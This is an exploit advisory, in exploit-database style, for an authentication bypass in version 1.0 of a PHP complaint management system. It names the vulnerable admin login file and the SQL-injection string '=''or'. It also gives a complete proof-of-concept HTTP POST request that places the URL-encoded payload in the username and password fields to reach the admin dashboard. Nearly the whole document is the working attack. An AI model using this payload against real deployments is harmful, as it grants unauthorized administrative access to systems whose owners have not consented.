# Exploit Title: complaint management system 1.0 - Authentication Bypass # Google Dork: N/A # Date: 2020-05-10 # Exploit Author: BKpatron # Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/complaint-management-system.zip # Version: v1.0 # Tested on: Win 10 # CVE: N/A # Vulnerability: Attacker can bypass login page and access to dashboard page # vulnerable file : admin/index.php # Parameter & Payload: '=''or' # Proof of Concept: http://localhost/Complaint%20Management%20System/admin/ POST /Complaint%20Management%20System/admin/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 61 Referer: http://localhost/Complaint%20Management%20System/admin/ Cookie:PHPSESSID=6d1ef7ce1b4rgp44ep3iqncfn4 Connection: keep-alive Upgrade-Insecure-Requests: 1 username=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=: undefined